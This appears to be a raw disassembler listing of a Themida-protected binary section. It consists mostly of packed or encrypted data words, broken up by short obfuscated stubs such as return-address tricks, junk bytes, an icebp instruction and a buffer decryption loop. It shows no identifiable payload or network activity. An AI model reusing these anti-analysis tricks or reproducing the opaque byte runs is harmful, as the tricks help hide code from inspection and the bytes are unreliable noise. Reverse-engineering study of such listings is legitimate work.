dd 0B1BDABBAh, 0ADCB3ECh, 0CF7EBD5h, 23006695h, 17000000h
dd 0B1F9A513h, 0E5EC3CABh, 7E2A5257h, 0C2A8AE76h, 0D65805ECh
dd 48E0DFF9h, 0B5E4D7FBh, 33A9h, 0A5130000h, 1CE9B1F9h
dd 977D03BCh, 0AB51F1E7h, 484E5483h, 57E50D5Dh, 455E12E9h
dd 47D9A68Bh, 0B62D6C2h, 72A1DB03h, 2A1016EEh, 3E58060Eh
dd 0E9D27E16h, 19F7C412h, 44C1014Eh, 77D8B75h, 0CA000006h
dd 7E5BAD12h, 39166855h, 0F3D02299h, 0A885D7E2h, 33C8E2Fh
dd 0E1DCFBB5h, 9A1FB28Fh, 526D6B48h, 8B32300h, 1C22AAB6h
dd 580DFF36h, 0D1E84F4Ah, 0B25ECC79h, 219646Ah, 986557E5h
dd 0CD518039h, 8AB004A5h, 98984ADCh, 383E862Ah, 20400E11h
dd 7E7E5825h, 867B7866h, 0E28E268Dh, 22BA01D5h, 9B476FF3h
dd 357D218Fh, 54803A2Fh, 0FC446C26h, 9D745D34h, 0D6544A4Dh
dd 813A9CA7h, 3784522Fh, 3DD51859h, 0C7D5BF70h, 57Ah, 0E83A8557h
dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h
dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0DFFC3A9h
dd 75DCD758h, 19F7C412h, 44C10162h, 3B919F89h, 96000005h
dd 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h, 0CF085A63h
dd 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh, 0E8EE7682h
dd 580E0002h, 12B41B16h, 3F4BF7C4h, 0DFE52DD1h, 57ED15E4h
dd 1F9E3512h, 0EB593587h, 6B33FB43h, 0DF67F65h, 0D6AC9358h
dd 0CCF037D8h, 25699830h, 5E013E66h, 28933F1Ch, 0FBD7247Ch
dd 367C28C0h, 5E221E54h, 0BBC1895Fh, 5E221DD5h, 4092C1E9h
dd 0B7DC8902h, 0AD22F2BDh, 1A000000h, 4338A4Dh, 0CD6CD11Dh
dd 13F9FF5Fh, 0A551F1E8h, 0F1E7B99Fh, 0DFA5CD51h, 0D1D71FB7h
dd 57E50186h, 378B2C54h, 0A50A342Bh, 7A1887F5h, 0AA11C5EEh
dd 16A79653h, 7D30367Eh, 2B2D003Dh, 0EDF3BB03h, 2D213D07h
dd 5AC4F31Bh, 0E830E04Eh, 15BE15E2h, 77BFE733h, 659429AAh
dd 0C244925Fh, 0BC0EA613h, 0E6C4F7DFh, 637A2B9Fh, 47687660h
dd 8A000004h, 3E1B6D52h, 0F9D62895h, 0B390E2D9h, 68459722h
dd 0C3FC4E6Fh, 0A11CBBF5h, 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h
dd 0DCE26A76h, 580E00F6h, 17A80F0Ah, 8834894Ah, 90F50130h
dd 4C000000h, 63494F17h, 7751F1E8h, 0A816204Fh, 0BFAAB0F8h
dd 0CD57ED15h, 46905DA5h, 90462375h, 5737F2Bh, 1C0B1159h
dd 325E0148h, 0F4FAC20Ah, 5E22280Eh, 2BADFA22h, 6190E894h
dd 0D17DEBF7h, 0A21BBC89h, 40676D73h, 0D6641545h, 0AE24DAF9h
dd 52697F70h, 29079F37h, 327C7066h, 0ABB5C3ADh, 26000003h
dd 0DAB709B6h, 9572C4F9h, 4F2C7E3Dh, 4E13386h, 5F98EAD3h
dd 3D805759h, 0F6C30EEBh, 0AE11C7A4h, 64577F5Ch, 787E0612h
dd 580E0192h, 0D944ABA6h, 51F1E7F3h, 0A11AB885h, 0E84C2E72h
dd 0FFD651F1h, 52196EC8h, 64E9Ch, 51F24B1Ah, 0CDD7062Eh
dd 9A67AF5Fh, 4A507F3Ch, 0ED794944h, 399A7757h, 0E880D884h
dd 14A72F3Ch, 0A4906336h, 0CCDAC43Eh, 336h, 2C7E419Bh
dd 0E739844Fh, 0A1F3C80Ah, 56A811C4h, 0D5F5E79h, 0BCCE4D4h
dd 4E8360B2h, 9C3C196Bh, 0E2F4D123h, 0F37B87D9h, 0E0207EDh
dd 0B9201B58h, 4BF7C412h, 3BAD6C43h, 0A89968Eh, 663D1DBh
dd 0A52EACFh, 8E747A42h, 0A251F23Eh, 3F0EF47Ah, 0FA2251F2h
dd 0E8BFC5CBh, 0DE57E644h, 3EEAD101h, 24FC4EE6h, 0D3C7F57h
dd 8B8F73C9h, 0C6F7E081h, 7D409774h, 0D7FCC9D1h, 40ADB7E6h
dd 12874092h, 3E4BF7C4h, 0EDB2398h, 0B4C4F3C8h, 7EC66AD8h
dd 0E538E578h, 7F2B5357h, 6185739h, 0C4F5DC58h, 0F1CC0B18h
dd 9992E45h, 779EDB4Ah, 0BC3D5DC1h, 1CB7D3F5h, 0F8D98049h
dd 3CB5h, 42D6AD00h, 361D1FE9h, 0A99C4CA3h, 6037407Dh
dd 0A5134A31h, 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h
dd 51B322EFh, 368E3A81h, 6B9AF29Eh, 3627919h, 0FBF8D9D7h
dd 0C7h, 494F1712h, 51F1E863h, 15204F77h, 414EFAC1h, 6E7B2796h
dd 9AA75368h, 0AE0BCA3Ch, 0C012AA02h, 0F1ECE9AAh, 11AA2C51h
dd 0E1DAFCC9h, 9EAEDD35h, 0FAA615C1h, 88D080EEh, 0ECD4BAC0h
dd 0C0E851F1h, 0ECC38B91h, 0F3E48903h, 206493F6h, 57E5C37Dh
dd 0B591E30Bh, 494F9747h, 5DFB7BC6h, 219C3714h, 0B46A4189h
dd 0AC6695F1h, 78454B7Ah, 2F0C5E5Fh, 467760A8h, 1B12F8FEh
dd 0FE265E1Dh, 0CE1B8866h, 36203895h, 1B528h, 0FFC01C00h
dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh
dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h, 4886E74h
dd 0A19C580Eh, 8B4A173Ah, 0E3F4FF2Eh, 2BAB88DAh, 17853E90h
dd 1308D4Ah, 9DE589F7h, 21070DD5h, 3551F1E8h, 0D79ADE0Dh
dd 0A557E502h, 0A98BD17Dh, 2E580602h, 5A6713A8h, 7F95417Eh
dd 0D0053F5Bh, 688A51E9h, 0D6B4B12Ah, 0B74AF8D9h, 61000000h
dd 4BF7C412h, 8F757B43h, 0A351F1E7h, 96414C7Bh, 74357B27h
dd 0BC51F1EDh, 2DD9E4EFh, 3B9BA6D5h, 6A703880h, 51F1ED84h
dd 31417098h, 0F1AE8259h, 802C9345h, 0AA41D128h, 31A5B0DFh
dd 64D2DE8Ah, 0CB6E74BCh, 0D757E5AFh, 8F23090Fh, 0F375806h
dd 0E2345CE0h, 0A0E89806h, 0FB62769Ah, 96DE065Dh, 5DAF0EC9h
dd 88665780h, 3895A625h, 0C732402Ah, 0A000000h, 0BE9BEDD2h
dd 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh, 219C3B75h
dd 0DADFF2CFh, 922DAB88h, 48736340h, 5C62EAF6h, 580E0476h
dd 12288F8Ah, 0CEA6F8C5h, 0B9E8D701h, 4B9328AEh, 3867547Eh
dd 0C4126F28h, 983E4BF7h, 87F5D123h, 0C1C78FD7h, 51F1E7DBh
dd 8A506968h, 272D3362h, 57ED1650h, 4FBE5F46h, 9C5A0487h
dd 88505804h, 0E7C9C82h, 46C51F58h, 0F48EF1Ch, 0D3D92149h
dd 580E7EEDh, 9FAAD901h, 55328437h, 488E3A81h, 72184907h
dd 0DBFCC9E1h, 2161B3E2h, 9A3BCB0Bh, 5835871Fh, 84913D7Eh
dd 9924B351h, 51FD95EDh, 4385AFCh, 0BA97E9D2h, 8A579F1Ch
dd 6CC4704Dh, 3C5D33Dh, 1C000000h, 0CA127DE4h, 9A3C49F5h
dd 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h
dd 884A5703h, 597A8733h, 5733B864h, 0C7815F54h, 4, 8704EF83h
dd 575C243Ch, 0C781E789h, 4, 8704EF83h, 895C243Ch, 0EC812414h
dd 4, 68240C89h, 61C0EA7h, 8124148Bh, 4C4h, 4EC8300h, 81242489h
dd 42404h
dd 68590000h, 36D6h, 89243C89h, 87989D7h, 2434FF5Fh, 4C48159h
dd 0FF000000h, 835A2434h, 0D0E904C4h, 0E8FFF85Fh, 1EA98DA3h
dd 6A63366Eh, 0E3BAAB6Ah, 1DE4B87Ch, 0C503061Ch, 41BCE0FFh
dd 0E30E593Ah, 42E154F6h, 9BA73F7Ch, 438D4474h, 45854AAFh
dd 9830546Ah, 0AA631025h, 3EBC1808h, 0BA575AD6h, 0C11F295Fh
dd 51676115h, 0D03693Bh, 22406168h, 0EE173286h, 455B25CEh
dd 0BCD6285Bh, 6A9129CFh, 94D85A63h, 8F4E7C10h, 5F3C7ED3h
dd 4C2125CEh, 0AE52643Bh, 957A16A6h, 2A4D30FEh, 2021A5Bh
dd 926D3CB3h, 6661362h, 0BD16750Ah, 8D8D29B7h, 61C1F8Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3BC35040h
dd 4965D0C9h, 1DA1858Bh, 81660614h, 890BAFC3h, 1432298Dh
dd 21858B06h, 0E906142Fh, 8, 0E0D912BEh, 0B4C7A74Bh, 64D85C7h
dd 6E080614h, 0DF810000h, 65394F18h, 267185C7h, 614h, 870F0000h
dd 5, 0DBBF0F60h, 91B5FF61h, 8B06142Eh, 141C2595h, 6195FF06h
dd 0E8061423h, 0Eh, 0EC3BF1C4h, 9C7B1918h, 0F6B5DEBBh
dd 13E96376h, 0B7000000h, 21FD57BAh, 5D3A03C1h, 0F8AF6168h
dd 402ABE9Bh, 6A5F78F4h, 6995FF00h, 8B061411h, 130BEBC0h
dd 0EF2F45D5h, 0CDEE79FFh, 8D8D755Fh, 61C209Fh, 1D218D89h
dd 8D890614h, 6143229h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0FFC35242h, 5000BE51h, 67039C63h, 4D85C7A7h
dd 84061406h, 6A000058h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0B804C351h, 16558D09h
dd 85C70614h, 6142671h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5CABF7
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CABF7 proc near ; CODE XREF: Themida_:005CABEFp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5CABF7 endp
; ---------------------------------------------------------------------------
db 0BBh
dd 4FA64F72h, 6F7B428Ah, 0C4DB5FFh, 6A0614h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 27665CC3h
dd 6F2A470Bh, 880F6053h, 5, 0F9C28166h, 0AAC88175h, 613CC76Dh
dd 236195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 50DD1BC3h, 8FD05366h, 6AAEB82Dh
dd 6995FF00h
; ---------------------------------------------------------------------------
loc_5CAC7C: ; DATA XREF: Themida_:0054A234o
; Themida_:0054A900o
adc [esi+eax], edx
mov eax, eax
jmp short loc_5CACCD
; ---------------------------------------------------------------------------
align 4
db 0FCh
; ---------------------------------------------------------------------------
loc_5CAC85: ; CODE XREF: Themida_:005CAC86j
icebp
jecxz short loc_5CAC85
push ebp
; ---------------------------------------------------------------------------
db 0FEh, 9Bh, 74h
dd 5793B41Ah, 4D796C5Ch, 867437FFh, 0E3F2FE1Ah, 185F7AB4h
dd 0FC7FA312h, 5C22EBAh, 3A4880Eh, 87DE3D2Fh, 4E7A5DACh
dd 4293718Eh, 0C83402EAh, 1AE5B0B5h, 933DA21Bh, 0D394EE0Eh
dd 0D6CC0D2Fh
db 0CCh
; ---------------------------------------------------------------------------
loc_5CACCD: ; CODE XREF: Themida_:005CAC81j
jmp loc_5CACE3
; ---------------------------------------------------------------------------
dw 0CA3Dh
dd 272h, 2 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5CACE3: ; CODE XREF: Themida_:loc_5CACCDj
jmp loc_5CB276
; ---------------------------------------------------------------------------
dd 0ACFEC11Bh, 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h
dd 8B4C6454h, 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h
dd 0E09876Dh, 39A09B58h, 4BF7C412h, 0DC24993Eh, 6EA89305h
dd 1E4D5055h, 66A5310Eh, 0F2977A60h, 26B18E51h, 0FB93EB97h
dd 0D8AFB763h, 0A57F6DA6h, 0C1CCFB73h, 0EDFAA615h, 0B52BD7E6h
dd 0F606D09Dh, 3F9C7447h, 0F827BFFDh, 8650E4A6h, 0D206E335h
dd 0FBD8A5EDh, 0EC641D03h, 0CC6459C4h, 28B08D9Dh, 0F3DEEB97h
dd 0FF36C411h, 5BFF74CEh, 546B17AFh, 0FAEAD939h, 66FE968Fh
dd 6A50561Eh, 7E51F245h, 68BD2756h, 687084C6h, 0AE280557h
dd 0F7FDC50Dh, 51F24511h, 64CEFD25h, 0F2453B1Eh, 0E7A3B751h
dd 0ED9479ECh, 6185FEh, 179C0000h, 913CF040h, 5483B565h
dd 822E8D49h, 0F254583Ch, 80C2D651h, 0ED855A0Bh, 1A4FEh
dd 12BB0000h, 4350FCC1h, 74812D90h, 9FAC5861h, 0D1D98538h
dd 0F1E7E5CBh, 84D1F951h, 0A9BF6B54h, 2EE4C585h, 72FF3F16h
dd 1E754690h, 6190A270h, 1AB9730Fh, 627451A3h, 8E441159h
dd 0C6F7E02Dh, 12CE8797h, 444CF8C5h, 6B3D806Dh, 4FA75366h
dd 59D259F8h, 9B41F2Ah, 0CB87EB5Dh, 0CF17A631h, 3DE9D602h
dd 0C9A6B6E5h, 8F66AE0Dh, 37AF4C76h, 0D43E6DADh, 4B00BC7h
dd 33DFDAF7h, 555BB026h, 51F21C6Fh, 17C35B83h, 5E43FFE3h
dd 0DFF4C197h, 3D5DAFDEh, 0EDBBCFA6h, 874FFEh, 12660000h
dd 3F4CF8C5h, 9E02893h, 3BD65C3Bh, 1E88B708h, 0EE0644A8h
dd 0BF8CD4E9h, 6676A518h, 0C36F4E89h, 0EE9A1FB6h, 1AC6F5E1h
dd 4AF6C50Dh, 6F721034h, 35C486A8h, 0A04C6D68h, 0C8AD1948h
dd 56FEED18h, 62h, 7E3774Eh, 0F811A802h, 0C512E2C9h, 993F4CF8h
dd 666D7A26h, 399EAB57h, 5EA03784h, 0A388E7BBh, 0BF6B0310h
dd 439926B2h, 0A7E631Fh, 0FED56426h, 0DB51CEB0h, 7A43901Bh
dd 0AFDE76CEh, 388A33A4h, 0FCC1127Fh, 0E8270A50h, 8FA351F1h
dd 0F18DD8F3h, 0B71FEEDh, 69000000h, 0F3B59BA1h, 0A1C951F1h
dd 0C0128B72h, 0E5EBB3FBh, 51F1E7FFh, 0C7734C8Ch, 5281A96Fh
dd 0C0FBDBE8h, 2CCE0714h, 1B4632E5h, 731FB74Fh, 9E4A6F66h
dd 0E5C4866Ah, 0A82DFA50h, 0F290E211h, 5764723Fh, 6B51D28h
dd 0D6E5F1BEh, 93A3D22Ah, 5DA549B7h, 0DB7A0686h, 114070A0h
dd 0D2EE050Bh, 8C6457E5h, 6D2A086h, 0F48CB458h, 209B3B48h
dd 0D6E5F1CEh, 0D300E42Ah, 7E625806h, 0DAE28DCh, 11F7FDC5h
dd 255806D3h, 0E6BECEFDh, 8D4BBF19h, 962E8632h, 8C7A5C67h
dd 6EC6724Bh, 0D33A2026h, 264E5806h, 5879468Eh, 0FEBF1461h
dd 7E5865CFh, 4E84913Dh, 23B4C16Dh, 0F1E1EE9Ah, 10C61ECAh
dd 590BEEACh, 0DCA455F5h, 6D2F0D6h, 8FDC0458h, 75CD7944h
dd 209B3B46h, 0AE29F6CEh, 0F174E00Fh, 0DF8D906h, 12Dh
dd 0F9A51324h, 0B882DAB1h, 0B4A5ED5Fh, 1D4C1F9Bh, 0F625BDD9h
dd 0B5B3EAF0h, 416957E5h, 15C08D95h, 71A0F8A4h, 34B7066h
dd 0EF1E9B36h, 973A07DFh, 0EF1E7622h, 1DC9F2E4h, 61474D15h
dd 755806B6h, 0E9D2004Dh, 9427AFBAh, 701276E8h, 4FA11ABCh
dd 0D9235411h, 3CAAF8h, 13C10000h, 0E3B0F8A6h, 9399C8F3h
dd 0E6D3FECBh, 6FB3E23Ah, 0D1F1E7A9h, 360D557Dh, 116D01F4h
dd 0F6608FF3h, 0F193CAB0h, 682A4ED1h, 72BA68D5h, 0F194A66Ch
dd 527A51h, 9822h, 0A5137900h, 0F0ABB1F9h, 1C57E510h, 8C38834Fh
dd 0A9810534h, 5F0BDA3h, 0F3F9D158h, 5805F10Dh, 0C961F921h
dd 474D151Dh, 5805F161h, 7F409875h, 7E3B9AE7h, 2992444Fh
dd 0DFDCFAD7h, 0E3C9CF97h, 705805F0h, 54AC5861h, 0CD37668Eh
dd 5F1A687h, 0EAD2958h, 1A954B62h, 9E59974h, 0F7A31CBCh
dd 5F4200A2h, 0B14B07EBh, 68449625h, 80E56FAh, 5E018633h
dd 0E8B5FD25h, 39A3D2EBh, 6511AA2Ch, 1D2C6E10h, 0AA2FC946h
dd 38674E4Bh, 0C810C02Eh, 1D31EDC2h, 65B7DF64h, 0F9A513ACh
dd 8D6ABB1h, 0A0C857EDh, 17EFE7F4h, 0F74FFBBEh, 0A6300D5Fh
dd 0B6C8FD56h, 6E0657AAh, 91785926h, 0E9EA58Bh, 0F991B958h
dd 5CC6F54Dh, 3BAC4316h, 0BDDD415Ah, 2578B58Ch, 0D46CD4F9h
dd 7F3C9AA5h, 8086502Dh, 0B6BE6A53h, 7D5ACAB0h, 1EB6DE5Ch
dd 8CDDA86h, 9BA169B1h, 5C7D5AB5h, 0D0E9ECC9h, 929F0938h
dd 0BECB7744h, 0F4FCA815h, 7D5B08EEh, 9EF41C5Ch, 2329D87Ah
dd 5C7D5B3Dh, 0FC912951h, 3C09385Ah, 0E9F4239Ch, 0A47CCEEDh
dd 5AF0D6DCh, 0DC045C7Dh, 8734A2ADh, 3CDDBh, 0E4240000h
dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h
dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 0B76833B8h
dd 89000062h, 0E589242Ch, 4C581h, 0ED830000h, 242C8704h
dd 0E289525Ch, 4C281h, 0EA810000h, 4, 5C241487h, 68241489h
dd 0AAh, 53241C89h, 9B624468h, 0EB815B13h, 0D7F413Bh, 545B5A53h
dd 81241C8Bh, 4C4h, 458D6800h, 14890000h, 8438F24h, 50241C8Bh
dd 405E089h, 5000000h, 4, 5C240487h, 5624148Bh, 0C681E689h
dd 4, 8704C683h, 0E95C2434h, 0FFF8578Bh
; ---------------------------------------------------------------------------
mov esi, gs
loc_5CB276: ; CODE XREF: Themida_:loc_5CACE3j
mov eax, 61C260Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F8h
dd 0B242A1B1h, 85269193h, 0EF32F88Ah, 75583047h, 0E42270D3h
dd 31738D9Ch, 8111E954h, 8B13C8ADh, 0DE3E3E97h, 524E324h
dd 8D5AC716h, 1C27B68Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 8A84916Ah, 5BB866E7h
dd 298D894Ah, 6A061432h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 4587C352h, 13ADEE19h
dd 858BEC28h, 6142C41h, 64D85C7h, 62100614h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 9035E2C3h, 85C71956h, 6142671h, 0
; ---------------------------------------------------------------------------
call sub_5CB344
xchg esi, [eax+33D792A7h]
push es
; =============== S U B R O U T I N E =======================================
sub_5CB344 proc near ; CODE XREF: Themida_:005CB338p
mov [ebp+6142179h], esi
pop ebx
push dword ptr [ebp+61414ADh]
push 0
push esi
call sub_5CB35C
and [esi-3Dh], bl
sub_5CB344 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CB35C proc near ; CODE XREF: sub_5CB344+10p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5CB35C endp
; ---------------------------------------------------------------------------
dec esi
db 2Eh
push cs
jmp loc_5CB382
; ---------------------------------------------------------------------------
dd 74315BBh, 19BCCD4Dh, 0AD99E0D7h
db 0C4h, 65h
; ---------------------------------------------------------------------------
loc_5CB382: ; CODE XREF: Themida_:005CB36Fj
call dword ptr [ebp+6142361h]
mov [ebp+61402B5h], esi
push 0
call dword ptr [ebp+6141169h]
mov eax, eax
jmp short loc_5CB416
; ---------------------------------------------------------------------------
sbb al, bl
push ebx
lahf
nop
adc [eax], cl
ja short loc_5CB40F
or dl, dl
retn
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 49h
dd 0AE67C4F7h, 0E8D98AD4h, 5B9DD7ECh, 0F71A4944h, 3CF1BF5Fh
dd 0D162FF12h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h
dd 0BFFF05FDh, 0E17FFE51h, 0A4A2C0E6h, 299FA25Dh, 6B48032Fh
dd 0AE3DBFBBh, 6DA2ABB2h, 0F032F306h, 55D9A1C3h, 77C908F2h
dd 0DA37E577h, 516A38DBh, 0FB4F9DE3h, 0B3802EE8h, 47A3DAAFh
; ---------------------------------------------------------------------------
jb short loc_5CB471
push es
loc_5CB40F: ; CODE XREF: Themida_:005CB3A1j
cdq
wait
; ---------------------------------------------------------------------------
db 69h, 0EBh, 98h
db 0, 0AAh
; ---------------------------------------------------------------------------
loc_5CB416: ; CODE XREF: Themida_:005CB398j
call near ptr loc_5CB42C+1
sbb al, ah
nop
imul esp, [ebx-79AC039Ah], 3Fh
add [ebx], cl
sahf
out dx, al
db 64h
push es
inc esp
loc_5CB42C: ; CODE XREF: Themida_:loc_5CB416p
mov ah, [esi-75h]
icebp
pop edx
mov edi, 7F3CED3Bh
add edx, 655Fh
mov esi, [ebp+61402F1h]
mov ecx, 1914h
jmp loc_5CB45B
; ---------------------------------------------------------------------------
dd 7821A297h, 0D38CD15Bh, 963DB767h
db 0Bh, 64h, 8Dh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CB4D0
loc_5CB45B: ; CODE XREF: Themida_:005CB447j
; sub_5CB4D0+45j
push dword ptr [edx]
pop ebx
mov esi, [ebp+614319Dh]
xor ebx, 36BF63F2h
jmp loc_5CB47B
; END OF FUNCTION CHUNK FOR sub_5CB4D0
; ---------------------------------------------------------------------------
db 67h
db 6Bh
; ---------------------------------------------------------------------------
loc_5CB471: ; CODE XREF: Themida_:005CB40Cj
cwde
cmp ch, 0E4h
cmp [ebp+edi*8+8], edi
; ---------------------------------------------------------------------------
db 0BAh, 22h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CB4D0
loc_5CB47B: ; CODE XREF: sub_5CB4D0-66j
add ebx, 3BA3925Dh
jnp loc_5CB48D
jnp $+6
loc_5CB48D: ; CODE XREF: sub_5CB4D0-4Fj
sub ebx, 37C82010h
sub si, 2B21h
push ebx
jmp loc_5CB4AC
; END OF FUNCTION CHUNK FOR sub_5CB4D0
; ---------------------------------------------------------------------------
dw 0BC76h
dd 0FB0D2C78h, 41CB3B16h, 6E5D3874h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CB4D0
loc_5CB4AC: ; CODE XREF: sub_5CB4D0-37j
pop dword ptr [edx]
mov edi, [ebp+6142115h]
sub edx, 2B4A620Dh
call sub_5CB4D0
xor esi, ebp
adc [ebx+5173716Eh], esi
dec edx
mov ebp, 953F815Dh
and [ebp+32h], bh
; END OF FUNCTION CHUNK FOR sub_5CB4D0
; =============== S U B R O U T I N E =======================================
sub_5CB4D0 proc near ; CODE XREF: sub_5CB4D0-16p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005CB45B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005CB47B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005CB4AC SIZE 00000024 BYTES
mov edi, [ebp+61412E9h]
pop eax
add edx, 2B4A6209h
jmp loc_5CB4E7
; ---------------------------------------------------------------------------
dw 7FAEh
; ---------------------------------------------------------------------------
shr dword ptr [eax-3Bh], 1
loc_5CB4E7: ; CODE XREF: sub_5CB4D0+Dj
sub ecx, 1
jnz loc_5CB50F
mov di, dx
jmp loc_5CB52E
; ---------------------------------------------------------------------------
db 0F5h
dd 969871C5h, 990151B8h, 259D519Ch, 26D266Bh
db 4Dh, 9Ah, 22h
; ---------------------------------------------------------------------------
loc_5CB50F: ; CODE XREF: sub_5CB4D0+1Dj
mov [ebp+61408C5h], ebx
jmp loc_5CB45B
; ---------------------------------------------------------------------------
dw 0CE56h
dd 9F797EA1h, 0B2A57066h, 6B632D90h, 9C219E94h
db 99h, 0A1h
; ---------------------------------------------------------------------------
loc_5CB52E: ; CODE XREF: sub_5CB4D0+26j
jmp loc_5CB554
; ---------------------------------------------------------------------------
db 0EAh
dd offset dword_4DE000+284h
dd 7 dup(0)
; ---------------------------------------------------------------------------
loc_5CB554: ; CODE XREF: sub_5CB4D0:loc_5CB52Ej
jmp loc_5CBAD3
; ---------------------------------------------------------------------------
db 8Ch, 50h, 6Fh
dd 2A93401Dh, 0E4D7FBD8h, 9920B592h, 506D6A47h, 0BDF3C5FEh
dd 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh, 6C78CAF1h, 10F8DEE4h
dd 110C580Eh, 894A17AAh, 0E7987E84h, 84AC51F1h, 84379FECh
dd 2F8C4A55h, 5C617683h, 0CF5B320Ah, 0D8C8AE0Eh, 47ABEA99h
dd 0EC841F2Ch, 0DA760795h, 0FA296089h, 28D4E7EFh, 5400BB1Bh
dd 85318C47h, 55EFAB0Fh, 0BE83A81h, 0C3A0F2CDh, 0F6FEAA15h
dd 7573AC1Fh, 91EAECF7h, 9CDA3186h, 8CF1C22h, 567B86B5h
dd 0C062B763h, 516E6A82h, 219A3C09h, 0D105E2F2h, 15F83EEAh
dd 9151F2AAh, 15FB01C9h, 2951F2AAh, 40E0AA01h, 12BEB641h
dd 0DAF191E3h, 0FEED908Bh, 7873h, 0C4128A00h, 21054BF7h
dd 0AA51F1E8h, 0D8E5912Eh, 16C2FBh, 0E33BBEDCh, 82874E1Bh
dd 0F1E7967Ch, 0EA82AA51h, 19A0313Eh, 1BA43481h, 0E3F89AECh
dd 0FEEDF182h, 17Ch, 0C1129300h, 904350FCh, 0AC79812Dh
dd 91E99526h, 3B7E5762h, 3401198Fh, 156D19A2h, 0E7E1C7CDh
dd 0CDF551F1h, 0F60E4C9Eh, 12AD2BDDh, 8350287Ah, 0B451AA54h
dd 0A7A37BB2h, 0DC0B630Fh, 64B605D1h, 0F8C512ABh, 0B5DCD9B0h
dd 0B81D289Dh, 0C1121F89h, 8E4350FCh, 65727F2Bh, 0D63AAC58h
dd 645580B4h, 16C860B8h, 7B5C90B2h, 0C313F042h, 933F4CF8h
dd 0D3F57C28h, 1B591CB7h, 0AFC5FEEDh, 0DC000000h, 2F8C4A17h
dd 0FADE2B83h, 4C8B96C5h, 1AB8C571h, 0C4EFE7E2h, 4C858AEAh
dd 0D169C16Dh, 2329F139h, 51F23E3Dh, 90FA2951h, 0B4BA5583h
dd 51F23DCEh, 7622BAE2h, 0A5516869h, 0ECCD8D71h, 7CB0D236h
dd 3810625Bh, 204F6A6Bh, 4FFBC215h, 5E5B7A47h, 49F5C411h
dd 1EB7C2F1h, 4668EF9Bh, 99E68F04h, 6838FEEDh, 30000000h
dd 1D4C6F63h, 48C51236h, 0B864577Bh, 0E7F4DA60h, 0E00851F1h
dd 0BD949C48h, 0C2C88428h, 51F242DCh, 0E171C8F0h, 7177BF30h
dd 51F2B68Bh, 3D48779Fh, 54676F9Bh, 0B720060Ch, 0C3451F2h
dd 0B094C874h, 407D5A92h, 0C11235EEh, 932B8E47h, 0E7BEA1E7h
dd 723A51F1h, 0E38F2EA5h, 480A5C8Bh, 0EDF21253h, 1ECFEh
dd 12030000h, 424FFBC0h, 0B4406894h, 0CC7B3C21h, 91338834h
dd 727840F1h, 51F29C8Ch, 9D32181Eh, 1E4651F2h, 65587B58h
dd 655680CDh, 5FA72B36h, 5AAC4477h, 1860107Eh, 7C828D4Bh
dd 51F29C96h, 3EEA82AAh, 0ABB1B7E6h, 57E5B794h, 2E36E20Ah
dd 99457461h, 0D9E2F441h, 9BA6D52Dh, 512E803Bh, 21EE3685h
dd 35B07B6h, 40246AD4h, 0A25806B8h, 6E689CBEh, 5623FB4Dh
dd 79903C81h, 0B9B9A138h, 305FF76Ch, 8D5AB125h, 73CB7746h
dd 6B407EDh, 3D431B58h, 5806B457h, 13AB436Bh, 3F7C5A67h
dd 9DBD2193h, 0FA4C6F67h, 6E545A22h, 825806B4h, 0A6BF2B5Ah
dd 58F8D925h, 14Ch, 44A5136Fh, 29812D8Eh, 0C434991h, 0C257E50Eh
dd 19E6EE9Ah, 0C8D302B9h, 8E65AD0Eh, 0D9ED7534h, 8898C72Eh
dd 15D12BABh, 5EC3D4DCh, 0AC83CB63h, 7C7D3E9Ch, 0AB15445Fh
dd 9CE389Eh, 0FE701CB4h, 9244F89Ah, 0CC99D729h, 32F8D9D5h
dd 66h, 43A61349h, 707D2994h, 29C15962h, 854C19E1h, 0FBC10534h
